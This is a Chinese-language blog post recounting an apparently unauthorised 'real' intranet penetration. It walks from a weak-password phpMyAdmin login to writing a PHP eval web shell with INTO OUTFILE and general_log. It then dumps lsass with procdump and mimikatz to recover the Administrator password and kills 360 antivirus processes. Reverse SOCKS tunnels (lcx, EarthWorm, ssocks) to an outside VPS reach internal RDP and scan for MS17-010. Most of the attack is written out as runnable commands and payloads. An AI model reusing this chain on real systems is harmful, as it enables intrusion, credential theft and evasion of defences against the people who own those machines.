记一次真实的内网渗透

点击阅读

直接弱口令进入 phpmyadmin,满满的都是敏感数据

先收集一下信息

0x01 信息搜集

MySQL 版本:

1
2
SELECT @@version;
5.5.25a

OS 版本

1
2
SELECT @@version_compile_os
win32

MySQL 绝对路径, 可借此推测 web 路径:

1
2
SELECT @@basedir 
D:/xampp/mysql

看能不能利用 phpmyadmin 报错,爆 web 根目录

1
2
3
4
5
6
7
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

查看数据导入和导出限制,若其值为 NULL,则不允许导入导出

1
show global variables like 'secure_file_priv'
1
2
3
4
5
SELECT IF( (
SELECT `VARIABLE_VALUE`
FROM `GLOBAL_VARIABLES`
WHERE `VARIABLE_NAME` = 'secure_file_priv' = NULL
), 'Yes', 'no' )

官方文档:

secure_file_priv may be set as follows:

If empty, the variable has no effect. This is not a secure setting.

If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server will not create it.

If set to NULL, the server disables import and export operations.

secure_file_priv 这个值为只读变量,只能通过配置文件修改.

  • 如果为空,变量无效。

  • 如果设置为目录名,服务器将导入和导出操作限制为仅处理该目录中的文件。目录必须存在;服务器不会创建它。

  • 如果设置为空,服务器将禁用导入和导出操作。

修改方法: 在mysql 配置文件的 [mysqld] 内加入secure_file_priv

0x02 利用

很幸运,这里 secure_file_priv 的值是空,但是还不知道 web 根目录,无法确定 shell 路径,不过根据上面获取的 @@basedir 再根据网站域名盲猜一下成功读取到写入的测试文件

into outfile 写 shell

1
2
SELECT  '<?php @eval($_REQUEST[1]); ?>'
INTO OUTFILE 'D:/xampp/root path/setting_sys.php'

如果 secure_file_priv 的值为 NULL,在数据导入导出限制的情况下可以利用 log 日志写 shell,条件是需要 mysql 的 root 用户

1
2
3
set global general_log = "ON"; # 开启 
SET global general_log_file='/web root path/eval.php';
select '<?php eval($_REQUEST[1]); ?>';

0x03 深入

net config Workstation // 获取当前计算机名,全名,用户名,系统版本,工作站域,登陆域

Administrator 很舒服,但是 tasklist /svc 列进程能够看到 ZhuDongFangYu.exe 和 多个 360*.exe

调整下蚁剑的超时时间,不然稍大一点的文件就很难传上去了

pwdump7 抓 Administrator 的 hash

其中

用户名称为:Administrator
RID为:500 后面跟着 LM-HASH值 和 NT-HASH值

拿着 hash 去 Objectif Sécurité - Ophcrack, cmd5 之类的网站爆一波

奈何破解不了

想到 p0desta 表哥一篇 记一次有趣的渗透

使用官方免杀的 procdump.exe 导出lsass进程的内存数据,再配合 mimikatz 本地抓取密码

procdump.exe -accepteula -ma lsass.exe -o crack.dmp

下载下来,拿出封存已久的 mimikatz

抓取密码:

1
2
3
mimikatz.exe
mimikatz # sekurlsa::minidump crack.dmp
mimikatz # sekurlsa::logonPasswords full

这就拿到了 Administrator 的密码,因为这个 windows 只有一个内网 IP,但是发现开了 3389,外部虽无法直接连接,但是可以通过端口转发建立代理连接

几个代理工具

1. lcx & portmap

windows:

lcx.exe -slave vps 7777 127.0.0.1 3389

vps:

./portmap -m 2 -p1 7777 -p2 8888

会被 360 查杀

2. EarthWorm

windows:

ew_for_Win.exe -s rssocks -d 152.136.210.126 -e 8888

vps:

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

这个 ew_for_linux64 会被腾讯云标记为木马文件,ew_for_Win.exe 测试在这个装有 360 的机器上运行直接被删掉

3. reGeorg

放上 tunnel.nosocket.php 后进行连接,或者是用这个PHP 一句话版 reGeorg for PHP One-line Shell,接着本地用 proxifier 配置 socks 代理

然后它就卡在了这个地方,接着自动退出,有空再分析下原因

这里 lcx、EarthWorm 都遭到了 360 的拦截,网上的免杀 Lcx.exe 也无济于事,reGeorg 也不能很好的工作

使用 taskkill 结束 360 相关进程,但是一般来说 ZhuDongFangYu.exe 和 360 部分进程还是杀不掉的,需在 360 设置里手动关闭,用 ntsd.exe 也不行

1
2
taskkill /im 360* /t /f
taskkill /im ZhuDongFangYu.exe /t /f

sSocks

360 还是有漏网之鱼,最终使用 ssocks 成功建立代理。。

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试。官方地址:http://sourceforge.net/projects/ssocks/

vps:

1
2
3
4
5
6
wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
tar -zxf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make
cd src
./rcsocks -l 1080 -p 1234 -v

windows 7:

1
rssocks.exe -s vps:1234

在本地使用 socks 代理工具配置代理, 成功

这台机器只有一个 工作站域 WorkGroup

net view /domain 查看也只有 WORKGROUP

net view //用来查看跟本机有关联的机器名

有个 GAOJIGUANLIYUAN

不知怎么的,这机器上并没有 nbtstat,先 arp -a 列出本网段内所有活跃的IP地址,IP 不多,屈指可数,再通过 ping -n 1 -a ip 查看 ip 的机器名,成功找的 GAOJIGUANLIYUAN 的 ip 地址

该机还装有 TeamViewer,连接列表其中一个远程主机还有一个没有密码的非管理员账户

然后神奇的发现那个 GAOJIGUANLIYUAN 不见了,比较遗憾 (第二天又有了,难道当时下班了?)

采用编译的方式安装 proxychains 代理 nmap 对远程内网主机进行扫描,这里有个坑,如果用 brew 安装的 proxychains 会出错

1
2
3
4
5
git clone https://github.com/rofl0r/proxychains-ng
cd proxychains-ng
./configure --prefix=/usr/local --bindir=/usr/local/bin --libdir=/usr/local/lib --fat-binary
make
make install

看样子可以使用 MS17_010

文章作者: J0k3r
文章链接: http://j0k3r.top/2019/09/03/Intranet_Penetration/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog